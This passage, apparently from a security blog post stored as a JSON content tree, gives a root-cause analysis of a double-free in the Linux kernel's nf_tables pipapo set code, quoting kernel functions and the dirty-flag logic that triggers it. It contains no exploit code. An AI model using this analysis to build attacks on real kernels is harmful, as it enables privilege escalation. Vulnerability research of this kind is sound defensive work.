",{"type":24,"tag":284,"props":57713,"children":57715},{"className":57714},[],[57716],{"type":29,"value":57717},"priv->match",{"type":29,"value":57719}," as an argument, and then again with ",{"type":24,"tag":284,"props":57721,"children":57723},{"className":57722},[],[57724],{"type":29,"value":57701},{"type":29,"value":57726},". Looking at what this function does, we can see that it is iterating over the ",{"type":24,"tag":284,"props":57728,"children":57730},{"className":57729},[],[57731],{"type":29,"value":57732},"setelem",{"type":29,"value":57734},"s of the ",{"type":24,"tag":284,"props":57736,"children":57738},{"className":57737},[],[57739],{"type":29,"value":57740},"set",{"type":29,"value":57742}," and calling ",{"type":24,"tag":284,"props":57744,"children":57746},{"className":57745},[],[57747],{"type":29,"value":57748},"nf_tables_set_elem_destroy()",{"type":29,"value":57750}," for each of them.",{"type":24,"tag":317,"props":57752,"children":57754},{"className":321,"code":57753,"language":320,"meta":7,"style":7},"static void nft_set_pipapo_match_destroy(const struct nft_ctx *ctx,\n      const struct nft_set *set,\n      struct nft_pipapo_match *m)\n{\n struct nft_pipapo_field *f;\n int i, r;\n\n for (i = 0, f = m->f; i \u003C m->field_count - 1; i++, f++)\n  ;\n\n for (r = 0; r \u003C f->rules; r++) {\n  struct nft_pipapo_elem *e;\n\n  if (r \u003C f->rules - 1 && f->mt[r + 1].e == f->mt[r].e)\n   continue;\n\n  e = f->mt[r].e;\n\n  nf_tables_set_elem_destroy(ctx, set, &e->priv);\n }\n}\n",[57755],{"type":24,"tag":284,"props":57756,"children":57757},{"__ignoreMap":7},[57758,57805,57833,57859,57866,57887,57900,57907,58004,58012,58019,58074,58095,58102,58205,58217,58224,58260,58267,58301,58308],{"type":24,"tag":327,"props":57759,"children":57760},{"class":329,"line":330},[57761,57766,57771,57776,57780,57784,57788,57793,57797,57801],{"type":24,"tag":327,"props":57762,"children":57763},{"style":334},[57764],{"type":29,"value":57765},"static",{"type":24,"tag":327,"props":57767,"children":57768},{"style":334},[57769],{"type":29,"value":57770}," void",{"type":24,"tag":327,"props":57772,"children":57773},{"style":340},[57774],{"type":29,"value":57775}," nft_set_pipapo_match_destroy",{"type":24,"tag":327,"props":57777,"children":57778},{"style":346},[57779],{"type":29,"value":349},{"type":24,"tag":327,"props":57781,"children":57782},{"style":334},[57783],{"type":29,"value":17202},{"type":24,"tag":327,"props":57785,"children":57786},{"style":334},[57787],{"type":29,"value":2529},{"type":24,"tag":327,"props":57789,"children":57790},{"style":346},[57791],{"type":29,"value":57792}," nft_ctx ",{"type":24,"tag":327,"props":57794,"children":57795},{"style":381},[57796],{"type":29,"value":469},{"type":24,"tag":327,"props":57798,"children":57799},{"style":356},[57800],{"type":29,"value":1631},{"type":24,"tag":327,"props":57802,"children":57803},{"style":346},[57804],{"type":29,"value":2231},{"type":24,"tag":327,"props":57806,"children":57807},{"class":329,"line":367},[57808,57812,57816,57821,57825,57829],{"type":24,"tag":327,"props":57809,"children":57810},{"style":334},[57811],{"type":29,"value":38257},{"type":24,"tag":327,"props":57813,"children":57814},{"style":334},[57815],{"type":29,"value":2529},{"type":24,"tag":327,"props":57817,"children":57818},{"style":346},[57819],{"type":29,"value":57820}," nft_set ",{"type":24,"tag":327,"props":57822,"children":57823},{"style":381},[57824],{"type":29,"value":469},{"type":24,"tag":327,"props":57826,"children":57827},{"style":356},[57828],{"type":29,"value":57740},{"type":24,"tag":327,"props":57830,"children":57831},{"style":346},[57832],{"type":29,"value":2231},{"type":24,"tag":327,"props":57834,"children":57835},{"class":329,"line":408},[57836,57841,57846,57850,57855],{"type":24,"tag":327,"props":57837,"children":57838},{"style":334},[57839],{"type":29,"value":57840},"      struct",{"type":24,"tag":327,"props":57842,"children":57843},{"style":346},[57844],{"type":29,"value":57845}," nft_pipapo_match ",{"type":24,"tag":327,"props":57847,"children":57848},{"style":381},[57849],{"type":29,"value":469},{"type":24,"tag":327,"props":57851,"children":57852},{"style":356},[57853],{"type":29,"value":57854},"m",{"type":24,"tag":327,"props":57856,"children":57857},{"style":346},[57858],{"type":29,"value":852},{"type":24,"tag":327,"props":57860,"children":57861},{"class":329,"line":421},[57862],{"type":24,"tag":327,"props":57863,"children":57864},{"style":346},[57865],{"type":29,"value":18427},{"type":24,"tag":327,"props":57867,"children":57868},{"class":329,"line":450},[57869,57873,57878,57882],{"type":24,"tag":327,"props":57870,"children":57871},{"style":334},[57872],{"type":29,"value":2529},{"type":24,"tag":327,"props":57874,"children":57875},{"style":346},[57876],{"type":29,"value":57877}," nft_pipapo_field ",{"type":24,"tag":327,"props":57879,"children":57880},{"style":381},[57881],{"type":29,"value":469},{"type":24,"tag":327,"props":57883,"children":57884},{"style":346},[57885],{"type":29,"value":57886},"f;\n",{"type":24,"tag":327,"props":57888,"children":57889},{"class":329,"line":481},[57890,57895],{"type":24,"tag":327,"props":57891,"children":57892},{"style":334},[57893],{"type":29,"value":57894}," int",{"type":24,"tag":327,"props":57896,"children":57897},{"style":346},[57898],{"type":29,"value":57899}," i, r;\n",{"type":24,"tag":327,"props":57901,"children":57902},{"class":329,"line":500},[57903],{"type":24,"tag":327,"props":57904,"children":57905},{"emptyLinePlaceholder":16},[57906],{"type":29,"value":544},{"type":24,"tag":327,"props":57908,"children":57909},{"class":329,"line":529},[57910,57915,57920,57924,57928,57933,57937,57942,57946,57950,57955,57959,57963,57967,57972,57977,57981,57986,57991,57996,58000],{"type":24,"tag":327,"props":57911,"children":57912},{"style":425},[57913],{"type":29,"value":57914}," for",{"type":24,"tag":327,"props":57916,"children":57917},{"style":346},[57918],{"type":29,"value":57919}," (i ",{"type":24,"tag":327,"props":57921,"children":57922},{"style":381},[57923],{"type":29,"value":384},{"type":24,"tag":327,"props":57925,"children":57926},{"style":397},[57927],{"type":29,"value":6695},{"type":24,"tag":327,"props":57929,"children":57930},{"style":346},[57931],{"type":29,"value":57932},", f ",{"type":24,"tag":327,"props":57934,"children":57935},{"style":381},[57936],{"type":29,"value":384},{"type":24,"tag":327,"props":57938,"children":57939},{"style":356},[57940],{"type":29,"value":57941}," m",{"type":24,"tag":327,"props":57943,"children":57944},{"style":346},[57945],{"type":29,"value":1679},{"type":24,"tag":327,"props":57947,"children":57948},{"style":356},[57949],{"type":29,"value":39796},{"type":24,"tag":327,"props":57951,"children":57952},{"style":346},[57953],{"type":29,"value":57954},"; i ",{"type":24,"tag":327,"props":57956,"children":57957},{"style":381},[57958],{"type":29,"value":1596},{"type":24,"tag":327,"props":57960,"children":57961},{"style":356},[57962],{"type":29,"value":57941},{"type":24,"tag":327,"props":57964,"children":57965},{"style":346},[57966],{"type":29,"value":1679},{"type":24,"tag":327,"props":57968,"children":57969},{"style":356},[57970],{"type":29,"value":57971},"field_count",{"type":24,"tag":327,"props":57973,"children":57974},{"style":381},[57975],{"type":29,"value":57976}," -",{"type":24,"tag":327,"props":57978,"children":57979},{"style":397},[57980],{"type":29,"value":522},{"type":24,"tag":327,"props":57982,"children":57983},{"style":346},[57984],{"type":29,"value":57985},"; i",{"type":24,"tag":327,"props":57987,"children":57988},{"style":381},[57989],{"type":29,"value":57990},"++",{"type":24,"tag":327,"props":57992,"children":57993},{"style":346},[57994],{"type":29,"value":57995},", f",{"type":24,"tag":327,"props":57997,"children":57998},{"style":381},[57999],{"type":29,"value":57990},{"type":24,"tag":327,"props":58001,"children":58002},{"style":346},[58003],{"type":29,"value":852},{"type":24,"tag":327,"props":58005,"children":58006},{"class":329,"line":538},[58007],{"type":24,"tag":327,"props":58008,"children":58009},{"style":346},[58010],{"type":29,"value":58011},"  ;\n",{"type":24,"tag":327,"props":58013,"children":58014},{"class":329,"line":547},[58015],{"type":24,"tag":327,"props":58016,"children":58017},{"emptyLinePlaceholder":16},[58018],{"type":29,"value":544},{"type":24,"tag":327,"props":58020,"children":58021},{"class":329,"line":557},[58022,58026,58031,58035,58039,58044,58048,58052,58056,58061,58066,58070],{"type":24,"tag":327,"props":58023,"children":58024},{"style":425},[58025],{"type":29,"value":57914},{"type":24,"tag":327,"props":58027,"children":58028},{"style":346},[58029],{"type":29,"value":58030}," (r ",{"type":24,"tag":327,"props":58032,"children":58033},{"style":381},[58034],{"type":29,"value":384},{"type":24,"tag":327,"props":58036,"children":58037},{"style":397},[58038],{"type":29,"value":6695},{"type":24,"tag":327,"props":58040,"children":58041},{"style":346},[58042],{"type":29,"value":58043},"; r ",{"type":24,"tag":327,"props":58045,"children":58046},{"style":381},[58047],{"type":29,"value":1596},{"type":24,"tag":327,"props":58049,"children":58050},{"style":356},[58051],{"type":29,"value":39682},{"type":24,"tag":327,"props":58053,"children":58054},{"style":346},[58055],{"type":29,"value":1679},{"type":24,"tag":327,"props":58057,"children":58058},{"style":356},[58059],{"type":29,"value":58060},"rules",{"type":24,"tag":327,"props":58062,"children":58063},{"style":346},[58064],{"type":29,"value":58065},"; r",{"type":24,"tag":327,"props":58067,"children":58068},{"style":381},[58069],{"type":29,"value":57990},{"type":24,"tag":327,"props":58071,"children":58072},{"style":346},[58073],{"type":29,"value":364},{"type":24,"tag":327,"props":58075,"children":58076},{"class":329,"line":586},[58077,58081,58086,58090],{"type":24,"tag":327,"props":58078,"children":58079},{"style":334},[58080],{"type":29,"value":13365},{"type":24,"tag":327,"props":58082,"children":58083},{"style":346},[58084],{"type":29,"value":58085}," nft_pipapo_elem ",{"type":24,"tag":327,"props":58087,"children":58088},{"style":381},[58089],{"type":29,"value":469},{"type":24,"tag":327,"props":58091,"children":58092},{"style":346},[58093],{"type":29,"value":58094},"e;\n",{"type":24,"tag":327,"props":58096,"children":58097},{"class":329,"line":1017},[58098],{"type":24,"tag":327,"props":58099,"children":58100},{"emptyLinePlaceholder":16},[58101],{"type":29,"value":544},{"type":24,"tag":327,"props":58103,"children":58104},{"class":329,"line":1026},[58105,58109,58113,58117,58121,58125,58129,58133,58137,58141,58145,58149,58154,58159,58163,58167,58171,58176,58180,58184,58188,58192,58197,58201],{"type":24,"tag":327,"props":58106,"children":58107},{"style":425},[58108],{"type":29,"value":38104},{"type":24,"tag":327,"props":58110,"children":58111},{"style":346},[58112],{"type":29,"value":58030},{"type":24,"tag":327,"props":58114,"children":58115},{"style":381},[58116],{"type":29,"value":1596},{"type":24,"tag":327,"props":58118,"children":58119},{"style":356},[58120],{"type":29,"value":39682},{"type":24,"tag":327,"props":58122,"children":58123},{"style":346},[58124],{"type":29,"value":1679},{"type":24,"tag":327,"props":58126,"children":58127},{"style":356},[58128],{"type":29,"value":58060},{"type":24,"tag":327,"props":58130,"children":58131},{"style":381},[58132],{"type":29,"value":57976},{"type":24,"tag":327,"props":58134,"children":58135},{"style":397},[58136],{"type":29,"value":522},{"type":24,"tag":327,"props":58138,"children":58139},{"style":381},[58140],{"type":29,"value":21717},{"type":24,"tag":327,"props":58142,"children":58143},{"style":356},[58144],{"type":29,"value":39682},{"type":24,"tag":327,"props":58146,"children":58147},{"style":346},[58148],{"type":29,"value":1679},{"type":24,"tag":327,"props":58150,"children":58151},{"style":356},[58152],{"type":29,"value":58153},"mt",{"type":24,"tag":327,"props":58155,"children":58156},{"style":346},[58157],{"type":29,"value":58158},"[r ",{"type":24,"tag":327,"props":58160,"children":58161},{"style":381},[58162],{"type":29,"value":394},{"type":24,"tag":327,"props":58164,"children":58165},{"style":397},[58166],{"type":29,"value":522},{"type":24,"tag":327,"props":58168,"children":58169},{"style":346},[58170],{"type":29,"value":57069},{"type":24,"tag":327,"props":58172,"children":58173},{"style":356},[58174],{"type":29,"value":58175},"e",{"type":24,"tag":327,"props":58177,"children":58178},{"style":381},[58179],{"type":29,"value":9887},{"type":24,"tag":327,"props":58181,"children":58182},{"style":356},[58183],{"type":29,"value":39682},{"type":24,"tag":327,"props":58185,"children":58186},{"style":346},[58187],{"type":29,"value":1679},{"type":24,"tag":327,"props":58189,"children":58190},{"style":356},[58191],{"type":29,"value":58153},{"type":24,"tag":327,"props":58193,"children":58194},{"style":346},[58195],{"type":29,"value":58196},"[r].",{"type":24,"tag":327,"props":58198,"children":58199},{"style":356},[58200],{"type":29,"value":58175},{"type":24,"tag":327,"props":58202,"children":58203},{"style":346},[58204],{"type":29,"value":852},{"type":24,"tag":327,"props":58206,"children":58207},{"class":329,"line":1048},[58208,58213],{"type":24,"tag":327,"props":58209,"children":58210},{"style":425},[58211],{"type":29,"value":58212},"   continue",{"type":24,"tag":327,"props":58214,"children":58215},{"style":346},[58216],{"type":29,"value":405},{"type":24,"tag":327,"props":58218,"children":58219},{"class":329,"line":1067},[58220],{"type":24,"tag":327,"props":58221,"children":58222},{"emptyLinePlaceholder":16},[58223],{"type":29,"value":544},{"type":24,"tag":327,"props":58225,"children":58226},{"class":329,"line":1075},[58227,58232,58236,58240,58244,58248,58252,58256],{"type":24,"tag":327,"props":58228,"children":58229},{"style":346},[58230],{"type":29,"value":58231},"  e ",{"type":24,"tag":327,"props":58233,"children":58234},{"style":381},[58235],{"type":29,"value":384},{"type":24,"tag":327,"props":58237,"children":58238},{"style":356},[58239],{"type":29,"value":39682},{"type":24,"tag":327,"props":58241,"children":58242},{"style":346},[58243],{"type":29,"value":1679},{"type":24,"tag":327,"props":58245,"children":58246},{"style":356},[58247],{"type":29,"value":58153},{"type":24,"tag":327,"props":58249,"children":58250},{"style":346},[58251],{"type":29,"value":58196},{"type":24,"tag":327,"props":58253,"children":58254},{"style":356},[58255],{"type":29,"value":58175},{"type":24,"tag":327,"props":58257,"children":58258},{"style":346},[58259],{"type":29,"value":405},{"type":24,"tag":327,"props":58261,"children":58262},{"class":329,"line":1084},[58263],{"type":24,"tag":327,"props":58264,"children":58265},{"emptyLinePlaceholder":16},[58266],{"type":29,"value":544},{"type":24,"tag":327,"props":58268,"children":58269},{"class":329,"line":1100},[58270,58275,58280,58284,58288,58292,58297],{"type":24,"tag":327,"props":58271,"children":58272},{"style":340},[58273],{"type":29,"value":58274},"  nf_tables_set_elem_destroy",{"type":24,"tag":327,"props":58276,"children":58277},{"style":346},[58278],{"type":29,"value":58279},"(ctx, set, ",{"type":24,"tag":327,"props":58281,"children":58282},{"style":381},[58283],{"type":29,"value":8716},{"type":24,"tag":327,"props":58285,"children":58286},{"style":356},[58287],{"type":29,"value":58175},{"type":24,"tag":327,"props":58289,"children":58290},{"style":346},[58291],{"type":29,"value":1679},{"type":24,"tag":327,"props":58293,"children":58294},{"style":356},[58295],{"type":29,"value":58296},"priv",{"type":24,"tag":327,"props":58298,"children":58299},{"style":346},[58300],{"type":29,"value":583},{"type":24,"tag":327,"props":58302,"children":58303},{"class":329,"line":1128},[58304],{"type":24,"tag":327,"props":58305,"children":58306},{"style":346},[58307],{"type":29,"value":1949},{"type":24,"tag":327,"props":58309,"children":58310},{"class":329,"line":1148},[58311],{"type":24,"tag":327,"props":58312,"children":58313},{"style":346},[58314],{"type":29,"value":592},{"type":24,"tag":25,"props":58316,"children":58317},{},[58318,58320,58326,58328,58333],{"type":29,"value":58319},"Which will then ",{"type":24,"tag":284,"props":58321,"children":58323},{"className":58322},[],[58324],{"type":29,"value":58325},"kfree()",{"type":29,"value":58327}," the ",{"type":24,"tag":284,"props":58329,"children":58331},{"className":58330},[],[58332],{"type":29,"value":57732},{"type":29,"value":66},{"type":24,"tag":317,"props":58335,"children":58337},{"className":321,"code":58336,"language":320,"meta":7,"style":7},"void nf_tables_set_elem_destroy(const struct nft_ctx *ctx,\n    const struct nft_set *set,\n    const struct nft_elem_priv *elem_priv)\n{\n struct nft_set_ext *ext = nft_set_elem_ext(set, elem_priv);\n\n if (nft_set_ext_exists(ext, NFT_SET_EXT_EXPRESSIONS))\n  nft_set_elem_expr_destroy(ctx, nft_set_ext_expr(ext));\n\n kfree(elem_priv);\n}\n",[58338],{"type":24,"tag":284,"props":58339,"children":58340},{"__ignoreMap":7},[58341,58382,58410,58439,58446,58481,58488,58509,58532,58539,58552],{"type":24,"tag":327,"props":58342,"children":58343},{"class":329,"line":330},[58344,58349,58354,58358,58362,58366,58370,58374,58378],{"type":24,"tag":327,"props":58345,"children":58346},{"style":334},[58347],{"type":29,"value":58348},"void",{"type":24,"tag":327,"props":58350,"children":58351},{"style":340},[58352],{"type":29,"value":58353}," nf_tables_set_elem_destroy",{"type":24,"tag":327,"props":58355,"children":58356},{"style":346},[58357],{"type":29,"value":349},{"type":24,"tag":327,"props":58359,"children":58360},{"style":334},[58361],{"type":29,"value":17202},{"type":24,"tag":327,"props":58363,"children":58364},{"style":334},[58365],{"type":29,"value":2529},{"type":24,"tag":327,"props":58367,"children":58368},{"style":346},[58369],{"type":29,"value":57792},{"type":24,"tag":327,"props":58371,"children":58372},{"style":381},[58373],{"type":29,"value":469},{"type":24,"tag":327,"props":58375,"children":58376},{"style":356},[58377],{"type":29,"value":1631},{"type":24,"tag":327,"props":58379,"children":58380},{"style":346},[58381],{"type":29,"value":2231},{"type":24,"tag":327,"props":58383,"children":58384},{"class":329,"line":367},[58385,58390,58394,58398,58402,58406],{"type":24,"tag":327,"props":58386,"children":58387},{"style":334},[58388],{"type":29,"value":58389},"    const",{"type":24,"tag":327,"props":58391,"children":58392},{"style":334},[58393],{"type":29,"value":2529},{"type":24,"tag":327,"props":58395,"children":58396},{"style":346},[58397],{"type":29,"value":57820},{"type":24,"tag":327,"props":58399,"children":58400},{"style":381},[58401],{"type":29,"value":469},{"type":24,"tag":327,"props":58403,"children":58404},{"style":356},[58405],{"type":29,"value":57740},{"type":24,"tag":327,"props":58407,"children":58408},{"style":346},[58409],{"type":29,"value":2231},{"type":24,"tag":327,"props":58411,"children":58412},{"class":329,"line":408},[58413,58417,58421,58426,58430,58435],{"type":24,"tag":327,"props":58414,"children":58415},{"style":334},[58416],{"type":29,"value":58389},{"type":24,"tag":327,"props":58418,"children":58419},{"style":334},[58420],{"type":29,"value":2529},{"type":24,"tag":327,"props":58422,"children":58423},{"style":346},[58424],{"type":29,"value":58425}," nft_elem_priv ",{"type":24,"tag":327,"props":58427,"children":58428},{"style":381},[58429],{"type":29,"value":469},{"type":24,"tag":327,"props":58431,"children":58432},{"style":356},[58433],{"type":29,"value":58434},"elem_priv",{"type":24,"tag":327,"props":58436,"children":58437},{"style":346},[58438],{"type":29,"value":852},{"type":24,"tag":327,"props":58440,"children":58441},{"class":329,"line":421},[58442],{"type":24,"tag":327,"props":58443,"children":58444},{"style":346},[58445],{"type":29,"value":18427},{"type":24,"tag":327,"props":58447,"children":58448},{"class":329,"line":450},[58449,58453,58458,58462,58467,58471,58476],{"type":24,"tag":327,"props":58450,"children":58451},{"style":334},[58452],{"type":29,"value":2529},{"type":24,"tag":327,"props":58454,"children":58455},{"style":346},[58456],{"type":29,"value":58457}," nft_set_ext ",{"type":24,"tag":327,"props":58459,"children":58460},{"style":381},[58461],{"type":29,"value":469},{"type":24,"tag":327,"props":58463,"children":58464},{"style":346},[58465],{"type":29,"value":58466},"ext ",{"type":24,"tag":327,"props":58468,"children":58469},{"style":381},[58470],{"type":29,"value":384},{"type":24,"tag":327,"props":58472,"children":58473},{"style":340},[58474],{"type":29,"value":58475}," nft_set_elem_ext",{"type":24,"tag":327,"props":58477,"children":58478},{"style":346},[58479],{"type":29,"value":58480},"(set, elem_priv);\n",{"type":24,"tag":327,"props":58482,"children":58483},{"class":329,"line":481},[58484],{"type":24,"tag":327,"props":58485,"children":58486},{"emptyLinePlaceholder":16},[58487],{"type":29,"value":544},{"type":24,"tag":327,"props":58489,"children":58490},{"class":329,"line":500},[58491,58495,58499,58504],{"type":24,"tag":327,"props":58492,"children":58493},{"style":425},[58494],{"type":29,"value":23305},{"type":24,"tag":327,"props":58496,"children":58497},{"style":346},[58498],{"type":29,"value":5894},{"type":24,"tag":327,"props":58500,"children":58501},{"style":340},[58502],{"type":29,"value":58503},"nft_set_ext_exists",{"type":24,"tag":327,"props":58505,"children":58506},{"style":346},[58507],{"type":29,"value":58508},"(ext, NFT_SET_EXT_EXPRESSIONS))\n",{"type":24,"tag":327,"props":58510,"children":58511},{"class":329,"line":529},[58512,58517,58522,58527],{"type":24,"tag":327,"props":58513,"children":58514},{"style":340},[58515],{"type":29,"value":58516},"  nft_set_elem_expr_destroy",{"type":24,"tag":327,"props":58518,"children":58519},{"style":346},[58520],{"type":29,"value":58521},"(ctx, ",{"type":24,"tag":327,"props":58523,"children":58524},{"style":340},[58525],{"type":29,"value":58526},"nft_set_ext_expr",{"type":24,"tag":327,"props":58528,"children":58529},{"style":346},[58530],{"type":29,"value":58531},"(ext));\n",{"type":24,"tag":327,"props":58533,"children":58534},{"class":329,"line":538},[58535],{"type":24,"tag":327,"props":58536,"children":58537},{"emptyLinePlaceholder":16},[58538],{"type":29,"value":544},{"type":24,"tag":327,"props":58540,"children":58541},{"class":329,"line":547},[58542,58547],{"type":24,"tag":327,"props":58543,"children":58544},{"style":340},[58545],{"type":29,"value":58546}," kfree",{"type":24,"tag":327,"props":58548,"children":58549},{"style":346},[58550],{"type":29,"value":58551},"(elem_priv);\n",{"type":24,"tag":327,"props":58553,"children":58554},{"class":329,"line":557},[58555],{"type":24,"tag":327,"props":58556,"children":58557},{"style":346},[58558],{"type":29,"value":592},{"type":24,"tag":25,"props":58560,"children":58561},{},[58562,58563,58569,58571,58576,58578,58583,58585,58590,58591,58596,58598,58603,58605,58610,58612,58617],{"type":29,"value":1713},{"type":24,"tag":284,"props":58564,"children":58566},{"className":58565},[],[58567],{"type":29,"value":58568},"nft_pipapo_match",{"type":29,"value":58570}," objects contain views of the ",{"type":24,"tag":284,"props":58572,"children":58574},{"className":58573},[],[58575],{"type":29,"value":57732},{"type":29,"value":58577},"'s of a ",{"type":24,"tag":284,"props":58579,"children":58581},{"className":58580},[],[58582],{"type":29,"value":57740},{"type":29,"value":58584},". The difference between the ",{"type":24,"tag":284,"props":58586,"children":58588},{"className":58587},[],[58589],{"type":29,"value":57717},{"type":29,"value":1323},{"type":24,"tag":284,"props":58592,"children":58594},{"className":58593},[],[58595],{"type":29,"value":57701},{"type":29,"value":58597}," match objects is that the clone has a view of not only already committed ",{"type":24,"tag":284,"props":58599,"children":58601},{"className":58600},[],[58602],{"type":29,"value":57732},{"type":29,"value":58604},"'s that the \"normal\" one has but also a view of the ",{"type":24,"tag":284,"props":58606,"children":58608},{"className":58607},[],[58609],{"type":29,"value":57732},{"type":29,"value":58611},"'s that was still not committed that only exists in the current control-plane. In other words, the control plane makes changes to the clone, and if the commit path is reached, the changes are committed to ",{"type":24,"tag":284,"props":58613,"children":58615},{"className":58614},[],[58616],{"type":29,"value":57717},{"type":29,"value":66},{"type":24,"tag":235,"props":58619,"children":58621},{"id":58620},"root-cause-analysis",[58622],{"type":29,"value":58623},"Root-cause analysis",{"type":24,"tag":25,"props":58625,"children":58626},{},[58627,58629,58635,58637,58642],{"type":29,"value":58628},"So ",{"type":24,"tag":284,"props":58630,"children":58632},{"className":58631},[],[58633],{"type":29,"value":58634},"nf_tables_set_elem_destroy",{"type":29,"value":58636}," being called for both match objects seems like a pretty straightforward double-free of the ",{"type":24,"tag":284,"props":58638,"children":58640},{"className":58639},[],[58641],{"type":29,"value":57732},{"type":29,"value":58643},"s that had already been committed since those will have duplicated views. At first glance, this is some bizarre-looking code. How did this bug come to be? How was it not detected before? Let's try to get to the bottom of it.",{"type":24,"tag":25,"props":58645,"children":58646},{},[58647,58649,58654,58656,58661,58663,58668,58670,58675,58677,58682],{"type":29,"value":58648},"We should now try to understand how to reach that path with the ",{"type":24,"tag":284,"props":58650,"children":58652},{"className":58651},[],[58653],{"type":29,"value":57694},{"type":29,"value":58655}," flag set, which is a member of the private data of a pipapo ",{"type":24,"tag":284,"props":58657,"children":58659},{"className":58658},[],[58660],{"type":29,"value":57732},{"type":29,"value":58662}," that becomes true whenever a change is made to the ",{"type":24,"tag":284,"props":58664,"children":58666},{"className":58665},[],[58667],{"type":29,"value":57740},{"type":29,"value":58669}," during the control-plane pass of a transaction. This is to tell the commit path that this ",{"type":24,"tag":284,"props":58671,"children":58673},{"className":58672},[],[58674],{"type":29,"value":57740},{"type":29,"value":58676}," has changes that have to be committed. If we refer to the code, we see that we can make the ",{"type":24,"tag":284,"props":58678,"children":58680},{"className":58679},[],[58681],{"type":29,"value":57740},{"type":29,"value":58683}," dirty by inserting a new element.",{"type":24,"tag":317,"props":58685,"children":58687},{"className":321,"code":58686,"language":320,"meta":7,"style":7},"static int nft_pipapo_insert(const struct net *net, const struct nft_set *set,\n        const struct nft_set_elem *elem,\n        struct nft_elem_priv **elem_priv)\n{\n[...]\n priv->dirty = true;\n[...]\n}\n",[58688],{"type":24,"tag":284,"props":58689,"children":58690},{"__ignoreMap":7},[58691,58761,58790,58815,58822,58829,58858,58865],{"type":24,"tag":327,"props":58692,"children":58693},{"class":329,"line":330},[58694,58698,58702,58707,58711,58715,58719,58724,58728,58733,58737,58741,58745,58749,58753,58757],{"type":24,"tag":327,"props":58695,"children":58696},{"style":334},[58697],{"type":29,"value":57765},{"type":24,"tag":327,"props":58699,"children":58700},{"style":334},[58701],{"type":29,"value":57894},{"type":24,"tag":327,"props":58703,"children":58704},{"style":340},[58705],{"type":29,"value":58706}," nft_pipapo_insert",{"type":24,"tag":327,"props":58708,"children":58709},{"style":346},[58710],{"type":29,"value":349},{"type":24,"tag":327,"props":58712,"children":58713},{"style":334},[58714],{"type":29,"value":17202},{"type":24,"tag":327,"props":58716,"children":58717},{"style":334},[58718],{"type":29,"value":2529},{"type":24,"tag":327,"props":58720,"children":58721},{"style":346},[58722],{"type":29,"value":58723}," net ",{"type":24,"tag":327,"props":58725,"children":58726},{"style":381},[58727],{"type":29,"value":469},{"type":24,"tag":327,"props":58729,"children":58730},{"style":356},[58731],{"type":29,"value":58732},"net",{"type":24,"tag":327,"props":58734,"children":58735},{"style":346},[58736],{"type":29,"value":2744},{"type":24,"tag":327,"props":58738,"children":58739},{"style":334},[58740],{"type":29,"value":17202},{"type":24,"tag":327,"props":58742,"children":58743},{"style":334},[58744],{"type":29,"value":2529},{"type":24,"tag":327,"props":58746,"children":58747},{"style":346},[58748],{"type":29,"value":57820},{"type":24,"tag":327,"props":58750,"children":58751},{"style":381},[58752],{"type":29,"value":469},{"type":24,"tag":327,"props":58754,"children":58755},{"style":356},[58756],{"type":29,"value":57740},{"type":24,"tag":327,"props":58758,"children":58759},{"style":346},[58760],{"type":29,"value":2231},{"type":24,"tag":327,"props":58762,"children":58763},{"class":329,"line":367},[58764,58768,58772,58777,58781,58786],{"type":24,"tag":327,"props":58765,"children":58766},{"style":334},[58767],{"type":29,"value":39612},{"type":24,"tag":327,"props":58769,"children":58770},{"style":334},[58771],{"type":29,"value":2529},{"type":24,"tag":327,"props":58773,"children":58774},{"style":346},[58775],{"type":29,"value":58776}," nft_set_elem ",{"type":24,"tag":327,"props":58778,"children":58779},{"style":381},[58780],{"type":29,"value":469},{"type":24,"tag":327,"props":58782,"children":58783},{"style":356},[58784],{"type":29,"value":58785},"elem",{"type":24,"tag":327,"props":58787,"children":58788},{"style":346},[58789],{"type":29,"value":2231},{"type":24,"tag":327,"props":58791,"children":58792},{"class":329,"line":408},[58793,58798,58802,58807,58811],{"type":24,"tag":327,"props":58794,"children":58795},{"style":334},[58796],{"type":29,"value":58797},"        struct",{"type":24,"tag":327,"props":58799,"children":58800},{"style":346},[58801],{"type":29,"value":58425},{"type":24,"tag":327,"props":58803,"children":58804},{"style":381},[58805],{"type":29,"value":58806},"**",{"type":24,"tag":327,"props":58808,"children":58809},{"style":356},[58810],{"type":29,"value":58434},{"type":24,"tag":327,"props":58812,"children":58813},{"style":346},[58814],{"type":29,"value":852},{"type":24,"tag":327,"props":58816,"children":58817},{"class":329,"line":421},[58818],{"type":24,"tag":327,"props":58819,"children":58820},{"style":346},[58821],{"type":29,"value":18427},{"type":24,"tag":327,"props":58823,"children":58824},{"class":329,"line":450},[58825],{"type":24,"tag":327,"props":58826,"children":58827},{"style":346},[58828],{"type":29,"value":17865},{"type":24,"tag":327,"props":58830,"children":58831},{"class":329,"line":481},[58832,58837,58841,58846,58850,58854],{"type":24,"tag":327,"props":58833,"children":58834},{"style":356},[58835],{"type":29,"value":58836}," priv",{"type":24,"tag":327,"props":58838,"children":58839},{"style":346},[58840],{"type":29,"value":1679},{"type":24,"tag":327,"props":58842,"children":58843},{"style":356},[58844],{"type":29,"value":58845},"dirty",{"type":24,"tag":327,"props":58847,"children":58848},{"style":381},[58849],{"type":29,"value":4809},{"type":24,"tag":327,"props":58851,"children":58852},{"style":334},[58853],{"type":29,"value":9722},{"type":24,"tag":327,"props":58855,"children":58856},{"style":346},[58857],{"type":29,"value":405},{"type":24,"tag":327,"props":58859,"children":58860},{"class":329,"line":500},[58861],{"type":24,"tag":327,"props":58862,"children":58863},{"style":346},[58864],{"type":29,"value":17865},{"type":24,"tag":327,"props":58866,"children":58867},{"class":329,"line":529},[58868],{"type":24,"tag":327,"props":58869,"children":58870},{"style":346},[58871],{"type":29,"value":592},{"type":24,"tag":25,"props":58873,"children":58874},{},[58875],{"type":29,"value":58876},"We also see that when the changes are commited, this flag is then unset.",{"type":24,"tag":317,"props":58878,"children":58880},{"className":321,"code":58879,"language":320,"meta":7,"style":7},"static void nft_pipapo_commit(struct nft_set *set)\n{\n[...]\n if (!priv->dirty)\n  return;\n[...]\n priv->dirty = false;\n[...]\n}\n",[58881],{"type":24,"tag":284,"props":58882,"children":58883},{"__ignoreMap":7},[58884,58924,58931,58938,58969,58980,58987,59014,59021],{"type":24,"tag":327,"props":58885,"children":58886},{"class":329,"line":330},[58887,58891,58895,58900,58904,58908,58912,58916,58920],{"type":24,"tag":327,"props":58888,"children":58889},{"style":334},[58890],{"type":29,"value":57765},{"type":24,"tag":327,"props":58892,"children":58893},{"style":334},[58894],{"type":29,"value":57770},{"type":24,"tag":327,"props":58896,"children":58897},{"style":340},[58898],{"type":29,"value":58899}," 